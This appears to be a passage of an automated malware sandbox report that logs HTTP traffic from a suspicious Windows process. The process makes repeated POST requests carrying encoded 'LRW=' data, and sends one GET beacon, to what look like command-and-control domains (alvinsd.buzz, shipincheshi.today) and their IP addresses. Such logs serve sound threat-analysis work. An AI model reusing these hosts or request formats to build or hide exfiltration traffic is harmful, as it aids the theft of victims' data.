LRW=nMadcZ1xpl/rppYyNhWAYXwLZQfvpRG/MnlTsi9SqLp5wO0TP75i6rK2zJUXbq9Q2jtGN13h8x12IeSRA6Em7UyG1hSjF6TWCafyTHaPcfSSztAPcrrp1AYqr4LcCAXaOwpZoVrbsXw0GLBA6kihCM63GWODCwui9xqclHrQ4pNaRnEfATuQZmSma6mk+DQ1fw==
Nov 27, 2024 16:43:51.962773085 CET	1206	IN	HTTP/1.1 200 OK Server: openresty/1.25.3.2 Date: Wed, 27 Nov 2024 15:43:51 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Set-Cookie: session_id=cf1b2716bf19a9da6498878cf92c0402; Path=/; HttpOnly; Max-Age=86400; Expires=Wednesday, 27-Nov-2024 15:43:51 GMT Content-Encoding: gzip Data Raw: 33 35 38 0d 0a 1f 8b 08 00 00 00 00 00 00 03 8d 54 6d 8f e2 36 10 fe 2b 29 a8 d2 21 6d 48 e0 80 5d 85 04 35 8b b6 ed e9 d4 de 1e 5b b6 6a bf 9c 1c 7b 48 dc 73 6c cb 36 6f 87 f8 ef 1d 27 c0 72 a8 1f 9a 28 89 f3 cc fb 33 63 a7 3f 30 45 dd 5e 43 e5 6a 31 4b fd 3b 10 44 96 19 c8 70 f9 32 4b 6b 70 24 a0 15 31 16 5c b6 fc e3 e7 f0 e1 8c 29 e9 40 ba ac b3 e5 cc 55 19 83 0d a7 10 36 3f 77 5c 72 c7 89 08 2d 25 02 b2 41 47 92 1a b2 0d 87 ad 56 c6 cd 52 c7 9d 80 59 1a 9d be 82 cb af 41 65 60 95 75 18 71 24 e1 35 29 21 d2 b2 9c 16 c4 c2 64 74 c7 5f 1f 3f 2d b6 f1 c7 5f 4a 95 e3 f5 fb cb b2 7a 5a 96 7e f9 e4 5f 8f f3 fc 33 7e e6 83 5f f3 ed dc 03 f3 58 3c 7d 7e 5d 8c 86 f5 f3 43 b4 a5 79 5e fe f6 98 eb 3f bf fd 1d e5 cd f5 b2 7c fd b4 f8 38 9e ff f5 e1 43 d6 31 20 32 8e c5 04 9e 84 ec 12 fb 3a ad ca 39 6d 93 28 da 6e b7 fd 52 a9 52 40 9f aa 3a f0 96 da 00 da 4a a0 2e a0 46 59 ab 0c 2f b9 bc 36 8e 88 d6 02 42 a7 d6 b4 0a 7d a0 3e 7a 6f 6c 6f 05 81 e5 df c0 66 83 87 78 87 cf 2c b5 6e 8f f4 24 46 29 77 08 c3 9a 70 [TRUNCATED] Data Ascii: 358Tm6+)!mH]5[j{Hsl6o'r(3c?0E^Cj1K;Dp2Kkp$1\)@U6?w\r-%AGVRYAe`uq$5)!dt_?-_JzZ~_3~_X<}~]Cy^?\|8C1 2:9m(nRR@:J.FY/6B}>zolofx,n$F)wpeHP&OO;KV>3r?'}uaAJoWW+RsO:v,6`;jD~owcAxc\*a`pBqLu-)Z$JFeo%FYs$k7{j^V.ymjMLMThwAw\8Yk"On.5f]Qqnyw<V@aSu2a\|7L}xN:T$H![c{\b9.dO=v-CBVFnH1]`/i$Mg))U42VP_mpV>"xmz6`.\`6Xn0JDYNiDab wl\|0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49810	139.162.181.76	80	5608	C:\Program Files (x86)\skDfaPcTfXAvFAZvvHpKDPPssrYjGChYpVtEQtnJpecV\nhClcdOjQwJ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 27, 2024 16:43:53.325275898 CET	745	OUT	POST /d43q/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Host: www.alvinsd.buzz Origin: http://www.alvinsd.buzz Referer: http://www.alvinsd.buzz/d43q/ Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 220 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/45.0.2412.0 Safari/537.1 Data Raw: 4c 52 57 3d 6e 4d 61 64 63 5a 31 78 70 6c 2f 72 6f 4b 51 79 49 43 75 41 64 33 77 49 63 51 66 76 6a 78 48 32 4d 6e 70 54 73 67 52 43 71 5a 4e 35 77 75 6b 54 4f 36 35 69 35 72 4b 32 37 70 55 59 59 61 39 50 32 6a 78 6b 4e 33 6a 68 38 78 68 32 49 65 69 52 42 4e 51 6c 36 45 79 45 75 78 53 68 4c 61 54 57 43 61 66 79 54 48 6e 6b 63 62 47 53 30 63 77 50 64 4f 4c 6d 71 77 59 70 39 6f 4c 63 47 41 57 52 4f 77 70 37 6f 58 66 69 73 52 30 30 47 50 46 41 36 78 4f 2b 52 73 36 31 62 6d 50 79 44 54 71 6d 79 54 44 33 72 55 54 67 32 59 31 57 55 68 4a 46 52 69 50 48 4c 6d 32 56 48 39 76 51 7a 41 74 38 45 7a 39 50 54 30 6e 58 4a 79 53 46 38 30 62 79 4a 62 33 77 69 52 51 3d Data Ascii: LRW=nMadcZ1xpl/roKQyICuAd3wIcQfvjxH2MnpTsgRCqZN5wukTO65i5rK27pUYYa9P2jxkN3jh8xh2IeiRBNQl6EyEuxShLaTWCafyTHnkcbGS0cwPdOLmqwYp9oLcGAWROwp7oXfisR00GPFA6xO+Rs61bmPyDTqmyTD3rUTg2Y1WUhJFRiPHLm2VH9vQzAt8Ez9PT0nXJySF80byJb3wiRQ=
Nov 27, 2024 16:43:54.656110048 CET	1206	IN	HTTP/1.1 200 OK Server: openresty/1.25.3.2 Date: Wed, 27 Nov 2024 15:43:54 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Set-Cookie: session_id=613e767aca6f319ba064a395c9cba916; Path=/; HttpOnly; Max-Age=86400; Expires=Wednesday, 27-Nov-2024 15:43:54 GMT Content-Encoding: gzip Data Raw: 33 35 38 0d 0a 1f 8b 08 00 00 00 00 00 00 03 8d 54 6d 8f e2 36 10 fe 2b 29 a8 d2 21 6d 48 e0 80 5d 85 04 35 8b b6 ed e9 d4 de 1e 5b b6 6a bf 9c 1c 7b 48 dc 73 6c cb 36 6f 87 f8 ef 1d 27 c0 72 a8 1f 9a 28 89 f3 cc fb 33 63 a7 3f 30 45 dd 5e 43 e5 6a 31 4b fd 3b 10 44 96 19 c8 70 f9 32 4b 6b 70 24 a0 15 31 16 5c b6 fc e3 e7 f0 e1 8c 29 e9 40 ba ac b3 e5 cc 55 19 83 0d a7 10 36 3f 77 5c 72 c7 89 08 2d 25 02 b2 41 47 92 1a b2 0d 87 ad 56 c6 cd 52 c7 9d 80 59 1a 9d be 82 cb af 41 65 60 95 75 18 71 24 e1 35 29 21 d2 b2 9c 16 c4 c2 64 74 c7 5f 1f 3f 2d b6 f1 c7 5f 4a 95 e3 f5 fb cb b2 7a 5a 96 7e f9 e4 5f 8f f3 fc 33 7e e6 83 5f f3 ed dc 03 f3 58 3c 7d 7e 5d 8c 86 f5 f3 43 b4 a5 79 5e fe f6 98 eb 3f bf fd 1d e5 cd f5 b2 7c fd b4 f8 38 9e ff f5 e1 43 d6 31 20 32 8e c5 04 9e 84 ec 12 fb 3a ad ca 39 6d 93 28 da 6e b7 fd 52 a9 52 40 9f aa 3a f0 96 da 00 da 4a a0 2e a0 46 59 ab 0c 2f b9 bc 36 8e 88 d6 02 42 a7 d6 b4 0a 7d a0 3e 7a 6f 6c 6f 05 81 e5 df c0 66 83 87 78 87 cf 2c b5 6e 8f f4 24 46 29 77 08 c3 9a 70 [TRUNCATED] Data Ascii: 358Tm6+)!mH]5[j{Hsl6o'r(3c?0E^Cj1K;Dp2Kkp$1\)@U6?w\r-%AGVRYAe`uq$5)!dt_?-_JzZ~_3~_X<}~]Cy^?\|8C1 2:9m(nRR@:J.FY/6B}>zolofx,n$F)wpeHP&OO;KV>3r?'}uaAJoWW+RsO:v,6`;jD~owcAxc\*a`pBqLu-)Z$JFeo%FYs$k7{j^V.ymjMLMThwAw\8Yk"On.5f]Qqnyw<V@aSu2a\|7L}xN:T$H![c{\b9.dO=v-CBVFnH1]`/i$Mg))U42VP_mpV>"xmz6`.\`6Xn0JDYNiDab wl\|0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49817	139.162.181.76	80	5608	C:\Program Files (x86)\skDfaPcTfXAvFAZvvHpKDPPssrYjGChYpVtEQtnJpecV\nhClcdOjQwJ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 27, 2024 16:43:56.270591021 CET	10827	OUT	POST /d43q/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Host: www.alvinsd.buzz Origin: http://www.alvinsd.buzz Referer: http://www.alvinsd.buzz/d43q/ Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 10300 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/45.0.2412.0 Safari/537.1 Data Raw: 4c 52 57 3d 6e 4d 61 64 63 5a 31 78 70 6c 2f 72 6f 4b 51 79 49 43 75 41 64 33 77 49 63 51 66 76 6a 78 48 32 4d 6e 70 54 73 67 52 43 71 5a 46 35 78 64 63 54 50 5a 68 69 34 72 4b 32 31 4a 56 2f 59 61 39 47 32 6a 70 67 4e 33 2f 78 38 7a 5a 32 4a 39 61 52 56 70 38 6c 7a 45 79 45 78 68 53 69 46 36 54 50 43 61 76 32 54 47 4c 6b 63 62 47 53 30 65 6f 50 61 62 72 6d 78 77 59 71 72 34 4c 59 43 41 58 32 4f 77 68 42 6f 58 4c 74 77 78 55 30 47 76 56 41 33 6e 36 2b 53 4d 36 7a 59 6d 50 71 44 55 6a 34 79 54 66 52 72 56 6e 5a 32 59 52 57 56 6c 45 42 4f 42 48 61 66 52 4f 74 53 36 32 77 32 52 42 4a 48 77 68 44 59 6b 48 44 65 42 75 56 38 56 53 59 52 6f 37 37 31 30 74 76 75 55 74 72 5a 6c 39 64 63 6a 69 65 6a 55 70 62 48 6f 76 31 74 68 59 52 45 36 54 45 6b 4e 6c 69 49 72 53 4c 52 48 44 69 78 45 34 34 78 64 39 4c 6e 72 6a 6b 54 64 41 42 56 4c 53 51 79 64 4d 71 37 39 6b 64 2b 39 71 59 67 38 6d 72 6d 58 6c 66 7a 49 62 75 38 64 6f 33 35 4c 2b 53 58 77 42 2b 2b 61 37 74 43 6e 6b 6b 46 36 6e 73 7a 54 50 62 53 4f 4f 79 73 6e [TRUNCATED] Data Ascii: LRW=nMadcZ1xpl/roKQyICuAd3wIcQfvjxH2MnpTsgRCqZF5xdcTPZhi4rK21JV/Ya9G2jpgN3/x8zZ2J9aRVp8lzEyExhSiF6TPCav2TGLkcbGS0eoPabrmxwYqr4LYCAX2OwhBoXLtwxU0GvVA3n6+SM6zYmPqDUj4yTfRrVnZ2YRWVlEBOBHafROtS62w2RBJHwhDYkHDeBuV8VSYRo7710tvuUtrZl9dcjiejUpbHov1thYRE6TEkNliIrSLRHDixE44xd9LnrjkTdABVLSQydMq79kd+9qYg8mrmXlfzIbu8do35L+SXwB++a7tCnkkF6nszTPbSOOysnq/9QcEP0SYfRjGHu5xLaS7G6sfe6u630L5RQq0n7oXCHfZhm4bDHR67Xx8SWpPJLsALH+8kW1zYGUunZirSLA241rq9kliXzZddKws5d/H6GtC1S0JnEU7C6WT/XwBllbxwq27e+wgiODuQnQDlvupgPa1zLspd1AYYqMoNhQFAx/SGuHWIR03t0TCihB/itzsnvxN2MaHN/fu99avLjH9aYdR+mEDeqi11kiyL6WF79+qxg/et5QPAGX1PAqUTtsn/X4+vnCWZ/sZwT2iivtF471/fHByCnPJNMjPznQI+zhFUePhb67Q9+hrFcxuFhCendoGUMFim5wTkzVwMaw13Zh9Mii3csy/7ylaQbqEGmIOMn9M/SPvxyD3jfzgd3MgAuqpaLWiHwCSy4QOE+WYrQSv4+BolOnqhNS4KVcQAbzoqrjhm2ezIF4xw7aDGXMMJVjGKVhInSJCXl0lkt2WBO27tprTFzHxZN1UUWfFpGGjj/pZmsuiiElNGQLm6Jt2R2b4J1SMgYrKhJTlyfhuVG7rzuNAwR82GM59c3WAVLFznVPlcRjnwdsIu8yBfzVA3wDALVAhXTONl/Dfx4uVeeAV530gnxqlAEI7VHyNB6R/f+0ub6JTAVOW/sc7f/QeB5+3fB9kfb+oq6LCJrg+C/HSECfWmOdT [TRUNCATED]
Nov 27, 2024 16:43:57.571856976 CET	1206	IN	HTTP/1.1 200 OK Server: openresty/1.25.3.2 Date: Wed, 27 Nov 2024 15:43:57 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Set-Cookie: session_id=924fbce9156422ea095e50e4df280999; Path=/; HttpOnly; Max-Age=86400; Expires=Wednesday, 27-Nov-2024 15:43:57 GMT Content-Encoding: gzip Data Raw: 33 35 38 0d 0a 1f 8b 08 00 00 00 00 00 00 03 8d 54 6d 8f e2 36 10 fe 2b 29 a8 d2 21 6d 48 e0 80 5d 85 04 35 8b b6 ed e9 d4 de 1e 5b b6 6a bf 9c 1c 7b 48 dc 73 6c cb 36 6f 87 f8 ef 1d 27 c0 72 a8 1f 9a 28 89 f3 cc fb 33 63 a7 3f 30 45 dd 5e 43 e5 6a 31 4b fd 3b 10 44 96 19 c8 70 f9 32 4b 6b 70 24 a0 15 31 16 5c b6 fc e3 e7 f0 e1 8c 29 e9 40 ba ac b3 e5 cc 55 19 83 0d a7 10 36 3f 77 5c 72 c7 89 08 2d 25 02 b2 41 47 92 1a b2 0d 87 ad 56 c6 cd 52 c7 9d 80 59 1a 9d be 82 cb af 41 65 60 95 75 18 71 24 e1 35 29 21 d2 b2 9c 16 c4 c2 64 74 c7 5f 1f 3f 2d b6 f1 c7 5f 4a 95 e3 f5 fb cb b2 7a 5a 96 7e f9 e4 5f 8f f3 fc 33 7e e6 83 5f f3 ed dc 03 f3 58 3c 7d 7e 5d 8c 86 f5 f3 43 b4 a5 79 5e fe f6 98 eb 3f bf fd 1d e5 cd f5 b2 7c fd b4 f8 38 9e ff f5 e1 43 d6 31 20 32 8e c5 04 9e 84 ec 12 fb 3a ad ca 39 6d 93 28 da 6e b7 fd 52 a9 52 40 9f aa 3a f0 96 da 00 da 4a a0 2e a0 46 59 ab 0c 2f b9 bc 36 8e 88 d6 02 42 a7 d6 b4 0a 7d a0 3e 7a 6f 6c 6f 05 81 e5 df c0 66 83 87 78 87 cf 2c b5 6e 8f f4 24 46 29 77 08 c3 9a 70 [TRUNCATED] Data Ascii: 358Tm6+)!mH]5[j{Hsl6o'r(3c?0E^Cj1K;Dp2Kkp$1\)@U6?w\r-%AGVRYAe`uq$5)!dt_?-_JzZ~_3~_X<}~]Cy^?\|8C1 2:9m(nRR@:J.FY/6B}>zolofx,n$F)wpeHP&OO;KV>3r?'}uaAJoWW+RsO:v,6`;jD~owcAxc\*a`pBqLu-)Z$JFeo%FYs$k7{j^V.ymjMLMThwAw\8Yk"On.5f]Qqnyw<V@aSu2a\|7L}xN:T$H![c{\b9.dO=v-CBVFnH1]`/i$Mg))U42VP_mpV>"xmz6`.\`6Xn0JDYNiDab wl\|0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49826	139.162.181.76	80	5608	C:\Program Files (x86)\skDfaPcTfXAvFAZvvHpKDPPssrYjGChYpVtEQtnJpecV\nhClcdOjQwJ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 27, 2024 16:43:58.960870981 CET	461	OUT	GET /d43q/?fvqp6=9vfXK&LRW=qOy9fp5Cl0yUgYAEczO7dyJ+bxzOsQOuCHBFuR5y1LF4o9syCZkEzLGi7aZXV+ZbwDd0E0+zyiVRHPLTItQK1mi6x0nkeaPePZztRgCxUMm7wu9eAI3Dzhs= HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.5 Host: www.alvinsd.buzz Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/45.0.2412.0 Safari/537.1
Nov 27, 2024 16:44:00.224970102 CET	1236	IN	HTTP/1.1 200 OK Server: openresty/1.25.3.2 Date: Wed, 27 Nov 2024 15:44:00 GMT Content-Type: text/html Content-Length: 1538 Connection: close Vary: Accept-Encoding Set-Cookie: session_id=ce022d5d1cc0a13b443043945bd1b483; Path=/; HttpOnly; Max-Age=86400; Expires=Wednesday, 27-Nov-2024 15:44:00 GMT Data Raw: 3c 21 64 6f 63 74 79 70 65 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 2d 55 53 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 3e 3c 74 69 74 6c 65 3e 3c 2f 74 69 74 6c 65 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 70 6e 67 3b 62 61 73 65 36 34 2c 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 41 45 41 41 41 41 42 43 41 51 41 41 41 43 31 48 41 77 43 41 41 41 41 43 30 6c 45 51 56 52 34 32 6d 50 38 2f 77 63 41 41 67 4d 42 41 70 57 7a 5a 2f 41 41 41 41 41 41 53 55 56 4f 52 4b 35 43 59 49 49 3d 22 72 65 6c 3d 69 63 6f 6e 20 74 79 70 65 3d 69 6d 61 67 65 2f 70 6e 67 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 20 72 65 6c 3d 70 72 65 63 6f 6e 6e 65 63 74 20 63 72 6f 73 73 6f 72 69 [TRUNCATED] Data Ascii: <!doctypehtml><html lang=en-US><meta charset=UTF-8><meta content="width=device-width,initial-scale=1"name=viewport><title></title><link href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mP8/wcAAgMBApWzZ/AAAAAASUVORK5CYII="rel=icon type=image/png><link href=https://www.google.com rel=preconnect crossorigin><link href=/apple-touch-icon.png rel=apple-touch-icon sizes=180x180><style>:root{--main-bg-color:#2b2b2b;--main-text-color:#fff;--link-color:#76ABAE;--contact-bar-bg:#646464;--contact-bar-text:#eee;--font-family:"Arial",sans-serif;--base-font-size:16px}html{font-size:var(--base-font-size)}body,html{margin:0;padding:0;border:0;display:flex;flex-direction:column;font-family:var(--font-family);background:var(--main-bg-color);color:var(--main-text-color);text-align:center}a{color:var(--link-color)}h1{font-weight:300;font-style:normal;margin:45px 0;text-transform:uppercase}#container{
Nov 27, 2024 16:44:00.225033045 CET	610	IN	Data Raw: 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 76 68 3b 76 69 73 69 62 69 6c 69 74 79 3a 68 69 64 64 65 6e 7d 68 65 61 64 65 72 7b 6d 61 72 67 69 Data Ascii: display:flex;flex-direction:column;min-height:100vh;visibility:hidden}header{margin-bottom:24px}main{flex:1;width:100%;margin:auto}@media screen and (min-width:768px){main{width:650px}}footer{font-size:.75rem;padding-top:1.5625rem}#searchbox{p

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49841	154.23.176.197	80	5608	C:\Program Files (x86)\skDfaPcTfXAvFAZvvHpKDPPssrYjGChYpVtEQtnJpecV\nhClcdOjQwJ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 27, 2024 16:44:06.346745014 CET	743	OUT	POST /b20s/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Host: www.shipincheshi.today Origin: http://www.shipincheshi.today Referer: http://www.shipincheshi.today/b20s/ Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 200 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/45.0.2412.0 Safari/537.1 Data Raw: 4c 52 57 3d 67 58 70 2f 68 49 6c 4c 66 78 74 50 37 67 79 6b 72 31 76 35 68 33 73 38 38 78 53 74 6b 71 58 69 38 6a 32 76 68 6f 4d 62 4d 51 51 4a 70 61 70 39 49 44 6f 75 33 6f 36 77 33 43 71 64 6f 70 55 37 64 49 71 59 77 78 79 59 4a 51 76 46 39 65 57 4d 44 63 41 66 5a 32 4f 4e 65 2f 36 68 68 79 48 5a 47 73 7a 76 4e 54 43 62 6a 66 59 78 59 58 78 76 74 64 56 4e 74 4c 4e 6c 6d 52 52 64 56 56 56 69 74 71 52 2b 6e 79 79 65 42 6f 53 4d 56 74 46 49 68 35 52 4c 4b 6f 4e 32 54 6e 6c 6c 66 35 45 77 4e 51 7a 59 48 49 30 50 41 69 30 36 4d 73 63 6a 5a 77 34 66 43 62 35 5a 6a 46 4e 6a 55 37 44 38 2b 41 3d 3d Data Ascii: LRW=gXp/hIlLfxtP7gykr1v5h3s88xStkqXi8j2vhoMbMQQJpap9IDou3o6w3CqdopU7dIqYwxyYJQvF9eWMDcAfZ2ONe/6hhyHZGszvNTCbjfYxYXxvtdVNtLNlmRRdVVVitqR+nyyeBoSMVtFIh5RLKoN2Tnllf5EwNQzYHI0PAi06MscjZw4fCb5ZjFNjU7D8+A==
Nov 27, 2024 16:44:07.968125105 CET	1236	IN	HTTP/1.1 404 Not Found Date: Wed, 27 Nov 2024 15:58:24 GMT Server: Apache Upgrade: h2 Connection: Upgrade, close Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 4794 Content-Type: text/html; charset=utf-8 Data Raw: 1f 8b 08 00 00 00 00 00 00 03 dd 5c 71 77 db 54 96 ff 7b f9 14 6f 4d c1 4e b1 2d db 49 1c 37 71 c2 1a c7 49 3c 24 76 6a 3b 2d 85 76 7d 64 e9 d9 56 23 4b aa f4 1c c7 2d 3d 07 76 67 a0 b3 db 52 3a b0 4c bb 0b cb 14 ce 01 0e ec b4 b3 33 bb c0 00 65 bf 4c 9d a6 7f ed 57 d8 fb 64 d9 96 a5 27 c7 b8 e0 c0 2a 27 89 f4 74 df 7d bf 7b df bd f7 dd fb 2c 39 f9 b7 ab f9 74 e9 dc 76 06 d5 49 43 5e 79 2a d9 fb 87 79 71 e5 29 04 47 b2 81 09 8f 84 3a af 1b 98 2c fb 76 4a 6b a1 84 cf ba 45 24 22 e3 95 47 7f f9 f6 d1 b7 1f 76 6e de 7a f4 ee 87 8f df bd 73 78 ff 7e 92 eb de b1 31 50 f8 06 5e f6 e9 6a 45 25 86 0f 09 aa 42 b0 02 ec 14 55 52 44 bc 1f 54 d4 aa 2a cb 6a cb 87 38 ab 97 41 da 3d 0e f4 e0 4e a2 17 78 03 a3 93 5c bf a9 a2 8a 6d 74 a5 7f 49 0f 41 95 55 7d 11 3d 3d 3b 3b bb 34 74 a3 0a 03 2e a2 68 5c db 47 67 b0 2e f2 0a 1f 44 be 0d 2c ef 61 22 09 3c ca e1 26 f6 05 51 bd d7 10 44 29 5d e2 e5 20 f2 6f 49 82 ae 1a 6a 95 a0 73 fc 06 96 fc 41 64 f0 8a 11 32 b0 2e 55 87 87 68 f0 7a 4d 52 16 51 64 b8 59 e3 45 51 52 6a [TRUNCATED] Data Ascii: \qwT{oMN-I7qI<$vj;-v}dV#K-=vgR:L3eLWd''t}{,9tvIC^yyq)G:,vJkE$"Gvnzsx~1P^jE%BURDTj8A=Nx\mtIAU}==;;4t.h\Gg.D,a"<&QD)] oIjsAd2.UhzMRQdYEQRjbP\WS2xv-, \|U[wgchbln9\_~[e#DDXQ@UD4)zcLYG"k,Rk6}<TDPf`O`"N4pFu&R}"lu5]Bu"c$DShm"D3#+_5a+XV4yY^DiUtRwmn+.a=lh(-zxwif"U!j9@O""s&z'd\%A)EVI_{?<:Thp"@`D4^j`"<Gvfv8[PtLm8g]#B)O^)uab# U>=Fedh2F))TdUuL863wOTv+m:hz.68:B9KWXfe8,yh<LnL&ku(=?J
Nov 27, 2024 16:44:07.968146086 CET	224	IN	Data Raw: 63 a9 87 e8 b0 58 3e a9 cf 33 e4 36 57 b5 a3 97 93 a1 21 7e 26 da f0 8c 06 51 8f 22 83 c5 c1 65 fb 7d ad 02 93 e1 80 cd 64 24 4a 7b 8b 20 21 09 09 75 49 16 99 6e d4 5d b4 c7 5b 59 2d da 11 8b ab 6d 21 1c 4a 67 ce f0 50 41 42 aa 6a b0 73 9a d0 1e Data Ascii: cX>36W!~&Q"e}d$J{ !uIn][Y-m!JgPABjsws1RY2yHs8$Ui;B-+:wCzN0Rq-RZ%=P"pY^u+E c%tRw=5gh

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49847	154.23.176.197	80	5608	C:\Program Files (x86)\skDfaPcTfXAvFAZvvHpKDPPssrYjGChYpVtEQtnJpecV\nhClcdOjQwJ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 27, 2024 16:44:09.022443056 CET	763	OUT	POST /b20s/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Host: www.shipincheshi.today Origin: http://www.shipincheshi.today Referer: http://www.shipincheshi.today/b20s/ Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 220 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/45.0.2412.0 Safari/537.1 Data Raw: 4c 52 57 3d 67 58 70 2f 68 49 6c 4c 66 78 74 50 30 6b 4f 6b 6f 53 7a 35 6e 58 73 2f 79 52 53 74 75 4b 58 75 38 6a 36 76 68 70 4a 45 50 69 45 4a 70 36 35 39 53 43 6f 75 32 6f 36 77 38 69 71 63 31 35 55 4f 64 49 6d 6d 77 7a 6d 59 4a 51 4c 46 39 66 6d 4d 41 76 6f 63 5a 6d 4f 4c 57 66 36 6a 6c 79 48 5a 47 73 7a 76 4e 54 47 78 6a 63 6f 78 59 45 35 76 73 2f 74 43 6b 72 4e 6b 32 42 52 64 45 6c 56 6d 74 71 52 4d 6e 7a 76 7a 42 71 71 4d 56 75 52 49 69 74 46 49 51 34 4e 38 65 48 6b 74 50 35 4e 48 55 68 65 72 42 75 6f 31 4f 43 4d 6c 4e 71 52 35 49 42 5a 49 51 62 64 71 2b 43 45 58 5a 34 2b 31 6c 4c 64 45 6e 64 53 77 34 64 6c 52 62 55 64 4a 6d 50 4b 69 30 4b 55 3d Data Ascii: LRW=gXp/hIlLfxtP0kOkoSz5nXs/yRStuKXu8j6vhpJEPiEJp659SCou2o6w8iqc15UOdImmwzmYJQLF9fmMAvocZmOLWf6jlyHZGszvNTGxjcoxYE5vs/tCkrNk2BRdElVmtqRMnzvzBqqMVuRIitFIQ4N8eHktP5NHUherBuo1OCMlNqR5IBZIQbdq+CEXZ4+1lLdEndSw4dlRbUdJmPKi0KU=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49853	154.23.176.197	80	5608	C:\Program Files (x86)\skDfaPcTfXAvFAZvvHpKDPPssrYjGChYpVtEQtnJpecV\nhClcdOjQwJ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 27, 2024 16:44:11.692883968 CET	10845	OUT	POST /b20s/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Host: www.shipincheshi.today Origin: http://www.shipincheshi.today Referer: http://www.shipincheshi.today/b20s/ Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 10300 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/45.0.2412.0 Safari/537.1 Data Raw: 4c 52 57 3d 67 58 70 2f 68 49 6c 4c 66 78 74 50 30 6b 4f 6b 6f 53 7a 35 6e 58 73 2f 79 52 53 74 75 4b 58 75 38 6a 36 76 68 70 4a 45 50 69 63 4a 75 4a 42 39 49 6c 30 75 31 6f 36 77 78 43 71 52 31 35 55 54 64 4a 4f 69 77 7a 61 69 4a 53 6a 46 79 64 75 4d 55 4f 6f 63 41 57 4f 4c 61 2f 36 6d 68 79 48 32 47 73 6a 6a 4e 53 32 78 6a 63 6f 78 59 45 56 76 6c 4e 56 43 69 72 4e 6c 6d 52 52 72 56 56 56 65 74 71 4a 63 6e 7a 72 46 42 37 4b 4d 56 4f 42 49 6e 62 35 49 49 6f 4e 79 4e 33 6b 63 50 35 52 59 55 68 54 51 42 75 30 66 4f 42 51 6c 4e 74 4d 34 63 77 5a 7a 4e 5a 52 74 6c 68 38 48 43 61 54 73 68 38 55 35 6d 34 66 77 69 64 52 6f 51 45 4d 66 37 76 69 61 32 39 2b 6f 34 6c 4f 64 64 79 39 55 4e 57 6d 2f 71 68 50 6d 2f 6c 66 51 2f 7a 39 42 42 